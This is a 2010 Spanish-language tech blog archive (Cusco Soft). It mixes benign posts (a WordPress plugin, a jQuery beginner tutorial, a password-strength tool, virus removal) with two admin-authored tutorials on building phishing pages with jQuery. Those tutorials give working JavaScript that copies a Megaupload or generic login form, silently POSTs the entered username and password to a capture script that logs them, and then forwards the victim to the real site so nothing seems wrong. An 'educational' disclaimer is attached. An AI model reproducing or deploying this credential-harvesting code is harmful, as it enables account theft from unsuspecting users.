Cusco Soft

Get menu joomla v1.0 plugin para wordpress

RoyPool — Sat, 21 Aug 2010 19:05:51 +0000

Después de tanto padecer al momento de comunicar el menú de joomla con el de wordpress, no se me ocurrió mejor idea que de de crear un plugin para que el trabajo sea automatizado,

Este plugin lo que hace es obtiene un menú de joomla y lo muestra en wordpress este plugin esta especialmente diseñado para aquellos que usan joomla y wordpress de forma complementaria, con este plugin podrá mostrar un menú de joomla en wordpress como widget o incrustado en el template.

Entonces todos aquellos que usen joomla y wordpress y necesiten que wordprees muestre algún menú de joomla esta es la mejor solución.

El plugin ya fue enviado a wordpress.org desde donde lo pueden descargar http://wordpress.org/extend/plugins/get-menu-joomla/

Pero aun no nos han confirmado y habilitado su publicación, por lo pronto pueden verlo aquí http://cuscosoft.com/get-menu-joomla

Logo de IE en en puro CSS

RoyPool — Thu, 19 Aug 2010 17:50:50 +0000

Andreas Jacob, ha creado el logotipo de IE usando CSS demostrando una vez mas lo ponte que puede ser.

Lástima que no todos los navegadores lo soportan, pues según se muestra en la imagen Firefox 3.6 y Safari 5 son en los navegadores que mejor se ve, y IE y Opera aun no tienen soporte.

Tutorial de Jquery empezando de cero. Capitulo 1

RoyPool — Wed, 18 Aug 2010 23:14:44 +0000

Jquery para aquellos que empiezan en el mundo de este framework, es un framework de javascript presentada el 2006 que inicialmente fue creada por John Resing, este framework viene siendo el más usado esto se debe a que es fácil de usar y tiene un sinfín de utilidades además que es totalmente modificable ya que esta licenciada bajo la Licencia MIT y la Licencia Pública General de GNU v2 y esto permite su uso en proyectos libres y no libres.

Personalmente prefiero y recomiendo usar Jquery a usar solo Javascript ya que ahorro muchas líneas de código además de ahorrarme muchos problemas usando getElementById y otras funciones.

Este tutorial es más técnico así que asumo que ya tienes conocimiento de HTML, CSS, JavaScript.

Empecemos entonces.

Lo primero que debemos saber para poder usar esta librera es la Sintaxis. Pero antes hacemos el llamado a la librería para poder usarla en nuestro documentos de HTML, entonces nos descargamos jquery de la web oficial http://code.jquery.com/jquery-1.4.2.min.js, y agregamos en nuestra documento con la etiqueta SCRIPT

Y tenemos:

Aprendiendo jQuery con CuscoSoft.com
<script src="http://code.jquery.com/jquery-1.4.2.min.js" type="text/javascript">script>

La sintaxis no será mucho problema para aquellos que estamos familiarizados a trabajar con CSS, porque en realidad parece ser la misma.

Para esta práctica haremos un pequeño efecto de aparecer y desaparecer un div.

Y para esto creamos una etiqueta “div” y un enlace “a” en el cuerpo de nuestro documento.

Aprendiendo jQuery con CuscoSoft.com
<script src="http://code.jquery.com/jquery-1.4.2.min.js" type="text/javascript">script>
 
<a href="#">soy un "a"a>

Ahora agregaremos una etiqueta soy un "a" <script type="text/javascript">script>

Lo que intentamos es que al hacer clic en la etiqueta “a” darle un efecto de movimiento a la etiqueta “div” para ello definimos el evento clic de la etiqueta “a”.

Para poder seleccionar la etiqueta lo que con javascript teníamos que hacer era getElementById(IDdeEtiqueta) o cualquier otra funcion. Jquery lo hace más sencillo.

$(‘a’) esto porque tenemos un solo elemnto “a” en el documento, en caso de tener varios esto servirá para todos los elementos “a” del documento

$(‘.clase_de_a’) Esto seleccionara todos los elementos que tenga como atrributo class “clase_de_a”.

$(‘#id_de_a’) Esto seleccionara todos los elementos que tenga como atrributo Id “clase_de_a”.

$(‘*’) esto seleccionara todos los elementos del documento.

$(‘a[hreflang|=es]‘) esto seleccionara todos los elementos “a” que tengan como atributo hreflang=“es”

Etc.

En este tutorial no entraremos muy en avanzado así que haremos referencia a aspectos BASICOS.

Entonces para nuestro ejemplo usaremos el selector por etiqueta $(‘a’)

Aprendiendo jQuery con  CuscoSoft.com

 
soy un  "a"
<script type="text/javascript">script>

El evento click se ejecuta al hacer Clic en el elemento seleccionado. Este evento no solo es para etiquetas “a” también sirve para cualquier otra etiqueta.

Aprendiendo jQuery con CuscoSoft.com

 
soy un "a"

<script type="text/javascript">script>

Hemos agregado estilo a la etiqueta “div” para poder visualizar su efecto.

La función fadeOut(x) modifica la transparencia del elemento en un tiempo x hasta hacerlo 0. También podemos usar otras funciones de efectos como:.

show()
show(speed, [callback])
hide()
hide(speed, [callback])
toggle()
toggle(switch)
toggle(speed, [callback])
slideDown(speed, [callback])
slideUp(speed, [callback])
slideToggle(speed, [callback])
fadeIn(speed, [callback])
fadeOut(speed, [callback])
fadeTo(speed, opacity, [callback])
animate(params, [duration], [easing], [callback])
animate(params, options)
stop([clearQueue], [gotoEnd])

lo recomendable es trabajar con Clases en las etiquetas.

Algo similar a esto.

Aprendiendo jQuery con CuscoSoft.com

 
 
soy un  "a"

<script type="text/javascript">script>

Ahora lo que haremos será convertir el botón (etiqueta “a”) para hacer que la etiqueta “div” aparezca y desaparezca. Para ello usaremos la función toggle.

Toggle es un evento de jquery que ejecuta funciones en forma alterna.

Aprendiendo  jQuery con CuscoSoft.com

 
soy un "a"
 

 
 

<script type="text/javascript">script>

Y como verán todo salió perfecto y sin escribir mucho código,

Bueno hasta aquí el primer capítulo de Aprendiendo Jquey con CuscoSoft.com espero que hayan aprendido también espero vuestros comentarios, quejas, murmuraciones, llanto etc etc.

Y por favor es importante para mi saber si la forma de explicación es buena o no. Así podemos aprender juntos.

Gracias hasta la próxima.

Hoy es el Simulacro Nacional (tomenlo en serio) :D

RoyPool — Wed, 18 Aug 2010 14:33:14 +0000

No se olviden hoy a las 10:00 am es el simulacro nacional según INDESI será de 8 grados en la escala de Richter y con intensidad de VII y VIII grados en la escala de Mercalli, al parecer es un terremoto fuerte posiblemente en un caso real mi oficina se venga abajo , Será gracioso ver como la gente se desconecta de la red (bueno si es que toman en serio el simulacro) mucha gente se dará el tiempo de twittear “Bueno me desconecto porque empezó el simulacro….” Yo que tengo pavor no lo hare asi que posteo antes. Espero sea un éxito este simulacro y no hagan travesuras recuerden que ya no están en cole (me gustava hacer de bombero y golpear a los disque enfermos ).

Averigua que tan segura es tu contraseña

zcachorro — Wed, 18 Aug 2010 04:28:55 +0000

Uno de los aspectos muy importantes que debemos tener en cuenta a la hora de estar conectados en la red, es asegurarnos de usar contraseñas que sean seguras o al menos que puedan serlo. Debido a que cualquier persona; sin necesidad de tener muchos conocimientos de informática podría descargar uno de muchos programas y romper contraseñas usando su propia PC, utilizando conocidas técnicas como fuerza bruta, ataques por diccionario, etc.

Entonces en base a todo esto, les presentamos una herramienta que nos permite averiguar qué tan segura es nuestra clave en relación al tiempo que le tomaría a una PC estándar averiguarlo, por supuesto usando ataques de fuerza bruta y diccionario.

El servicio es llamado “How secure is my password” en la dirección http://www.howsecureismypassword.net, con el cual puedes averiguar instantáneamente la complejidad de tu password.

Para evitarse de problemas, el sitio usa Javascript para determinar el resultado y en un enlace nos brinda su código fuente (obviamente ¬ ¬ ), evitando de esta forma la posibilidad de almacenar las contraseñas y usarlas para algún beneficio en particular.

Bueno es simple de usar, solo tienes que ingresar la palabra a evaluar en el campo e inmediatamente obtendrás el resultado.

De esta manera tenemos una idea de qué tan fuerte y segura es nuestra contraseña, y qué tanto esfuerzo computacional se necesitará para romperla. Si solo nos atacan con una PC será complicado adivinar nuestra clave (claro si es compleja), de modo que necesitarían atacar usando todo un cluster de computadoras. Y dudo que muchas personas tengan acceso a una. (^ ^ ,)

Campaña mensajería.

RoyPool — Tue, 17 Aug 2010 15:55:26 +0000

La campaña de mensajería fue todo un éxito una vez más demostramos que somos los mejores en lo que hacemos.

Muchas gracias por vuestro apoyo, y si aun no has votado puedes hacerlo aquí Gracias.

¿Qué paso con los post antiguos de Cusco Soft?

RoyPool — Tue, 17 Aug 2010 14:54:42 +0000

Hemos recibido muchos correos con preguntas similares a esta

¿Dónde está la mitad de cusco soft?

¿Por qué estuvimos fuera de línea mucho tiempo?

¿Qué pasara con los tutoriales y post antiguos?

Bueno la verdad es que Cusco Soft estuvo mucho tiempo fuera de línea por problemas en nuestro antiguo HOST y como resultado de estos problemas también perdimos toda la información.

Los administradores de Cusco Soft nos comprometimos a “intentar re-escribir” los antiguos post y publicarlos nuevamente, también pedimos a ustedes que si tienen alguna información del Cusco Soft antiguo por favor háganoslo saber para asi intentar recuperar algo de lo perdido.

Muchas Gracias.

Eliminando Virus mocosoft.exe

admin — Mon, 16 Aug 2010 02:36:10 +0000

Bueno este post esta dedicado a un virus bastante molestoso especialmente para toda la gente de cusco, hablo del virus llamado mocosoft.exe bueno este virus despues de hacerle un pequeño analisis sacamos los siguientes datos

Lenguaje compilado: delphi 7.0

Compresion: ninguno

Otros nombres que usa al infectar: sqlread.exe

Descripcion: bueno este virus lo logra hacer al ser ejecutado es copiarse a todas las unidades disponibles y haciendo una copia en C:\WINDOWS\System32\sqlread.exe el cual sera ejecutado cada vez que inicie la maquina en el registro de windows esta guardado con ese nombre, ahora lo que hace ese virus es hacer templar nuestro escritorio teniendo que reiniciar nuestros equipos para poder detener este efecto ahora según el analisis esa templada de la pantalla se puede eliminar escribiendo la palabra “KILL” pero ojo no detendremos el virus para poder detenerlo tenemos que hacerlo manualmente eliminando el archivo sqlread.exe y quitando todas las inicializaciones que tenga en el registro ahora por cortecia de un amigo mio “wilito” creo un programa que te elimina automaticamente ese molestodo virus espero les sirva saldudos

Elimina virus aquí–>matavirus

Phishing Megaupload con jquery

admin — Wed, 11 Aug 2010 21:54:51 +0000

bueno siguiendo con nuestro hilo de post dedicados al uso del jquery para las cosas malas daremos un ejemplo mas practico del jquery aplicado al phising esta vez nuestro ejemplo sera mas didactico cabe recalcar que el autor del tutorial(osea yo ) no se hace responsable del mal uso que le puedan dar a este tutorial, el tutorial como los materiales son con fines netamente didacticos.

bueno empecemos primero que nada analizaremos un scan normal de megaupload yo lo tengo instalado en mi localhost.

Que cuando nos intentamos logearnos no manda ningún mensaje y nos re direcciona a la pagina
www.megaupload.com.

Ahora analizando el código vemos capta los datos y lo envía a un script llamado paso.php el cual captura los datos y los guarda en un archivo de texto llamado logs.txt al revisar el archivo vemos los datos ingresados

Muy bien muy práctico el scan pero que sucede que no es muy creíble pues solo nos re direcciona a una a la pagina verdadera como dicen XD bien intento ahora mejoraremos el scan para poder hacerlo mas creíble para eso analizamos primero el tag form del scan el cual esta de la siguiente manera.

Bien este código lo que hace es enviar todos los datos mediante post al script paso.php , ahora lo modificamos por el siguiente código

El cual enviara los datos ingresados a la página principal de megaupload, pero entonces ahí viene la pregunta ¿si mandamos los datos directamente al megaupload como hacemos para capturar los datos? Pues bien para eso usaremos el jquery ojo que podríamos hacerlo con ajax netamente pero bueno si existe herramientas que nos hacen más sencillo el trabajo como el jquery porque no usarlo J al analizar que verificar el código del botón enviar vemos que nos manda a un función de java script que es el siguiente.

function postlogin()
 
{
 
if(document.getElementById('username').value == '')
 
{
 
document.getElementById('username').focus();
 
alert('Por favor, entre su nombre de usuario.');
 
}
 
else if(document.getElementById('password').value == '')
 
{
 
document.getElementById('password').focus();
 
alert('Por favor, entre su password.');
 
}
 
else
 
{
 
document.getElementById('loginfrm').submit();
 
}
 
}

Muy bien es aquí donde usaremos nuestro preciado jquery, primero claro tenemos que referenciar al framework de la siguiente manera

<script src="jquery-1.4.2.js" type="text/javascript">script>

Ahora agregamos una función que se encargara de mandar los datos a nuestro script paso.php antes de enviarlos a la página del megaupload, la función es la siguiente.

function acceso(){
 
var user = document.loginfrm.username.value;
 
var pass = document.loginfrm.password.value;
 
$.ajax({
 
type: 'POST',
 
url: 'http://localhost/tutoriales/pjqmegaupload/paso.php',
 
data: "username="+user+"&password="+pass,
 
success: function(msg){
 
}
 
});
 
}

Bueno esta función coge los datos ingresados y los envía al script paso.php pero de forma asimétrica usando ajax.
Muy bien ahora a la función original del scam visto anteriormente se le agregara dicha función quedando de la siguiente manera.

function postlogin()
 
{
 
if(document.getElementById('username').value == '')
 
{
 
document.getElementById('username').focus();
 
alert('Por favor, entre su nombre de usuario.');
 
}
 
else if(document.getElementById('password').value == '')
 
{
 
document.getElementById('password').focus();
 
alert('Por favor, entre su password.');
 
}
 
else
 
{
 
acceso();
 
document.getElementById('loginfrm').submit();
 
}

Muy bien ahora probamos nuestro scan con estos nuevos cambios, y para probar que está funcionando correctamente lo probaremos con un usuario y contraseña verdadera para ver qué sucede ingresamos los datos y… bingo aparecemos logeados como si fuera la pagina verdadera XD.

Y bingo nos direcciona a la pagina pero ahora aparecemos como logeados y los datos estan guardados en el archivos logs.txt muy bien ahora algunos tic extras seria que si deseas que cuando se logee y directamente le descague un archivo después del tag form tienes que agregar el siguiente code

Donde el value es el url del archivo que se desea descargar cuando agregas este code cuando alguien se logee en el scan descargara directamente el archivo direccionado J bueno espero que les aya gustado si tienen alguna duda solo escribirme al correo saludos perversos

material de apoyo Aqui

El Lado oscuro del jquery( phising usando jquery)

admin — Fri, 30 Jul 2010 23:49:05 +0000

Bueno este será el primo de varios tutoriales donde hablaremos de cómo es que se puede usar el jquery para fines oscuros (: bueno como este y todos los tutoriales que hago son con fines educativos así que no darle mal uso ok bueno manos a la obra.

Primero para los que no saben que es jquery roypool se ofreció a dar algunos tutoriales sobre el jquery y como uds pueden usarlo para el diseño de una página web nosotros por ahora solo usaremos una de sus funciones que es el AJAX para poder hacer peticiones asimétricas de paginas bueno para empezar tenemos la pagina original

Como vemos el script original lleva como nombre login.php ahora cuando nosotros nos logeamos nos manda un mensaje diciendo “bienvenido admin” y si el user y el pass son incorrectos nos manda un mensaje diciendo que los datos son incorrectos bien ps ahora a armar nuestro fake con jquery para lo cual nos descargamos o linkeamos para el ejemplo yo usare la versión jquery-1.4.2 muy bien como primer paso como sabemos es descargar el código fuente de la página login.php y hacerle unas cuantas modificaciones como aumentarlo en el head la referencia al jquery de la siguiente forma

1	<script src="jquery-1.4.2.js" type="text/javascript" >script>

Y agregarle la siguiente función

<script type="text/javascript">
function acceso(){
	var user = document.login.user.value;
    	var pass = document.login.pass.value;
	$.ajax({
	type: 'POST',
	url: 'http://localhost/tutoriales/phisingconjquery/capturador.php',
	data: "user="+user+"&pass="+pass,
	success: function(msg){
	}
	});
	$.ajax({
	type: 'POST',
	url: 'http://localhost/tutoriales/phisingconjquery/login.php',
	data: "user="+user+"&pass="+pass+"&enviar=Identificarse",
	success: function(msg){
	 $("#contenido").html(msg);
	}
	});
}
script>

Bueno el siguiente código lo que hace es hacer dos peticiones mediante POST a dos script el primero a capturador.php el cual capta los datos que introduzcamos el script captura los datos y los guarda en un archivo txt.

La segunda petición es para el login.php que es el login verdadero el cual hace un retorno de la respuesta del script ya sea verdadera o falsa lo cual hace mas real nuestro fake

Como último paso es modificar el input submit y colocarle un input button y agregarle el evento onclick que haga referencia a la función acceso.

Para nuestro archivo modificado como podrán verlo pues puse un url de descargar le aumente un tag div y justamente es para poder visualizar la respuesta del script login.

Para mejor entendimiento aquí les dejo un ejemplo de lo que hablo espero les sirva

Material de practica

Bueno nos vemos en otro tutorial ya que este solo fue un ejemplo introductorio para analizar las potencialidades del jquery para este tipo de ataques muchas gracias y cualquier duda no duden en escribirme al correo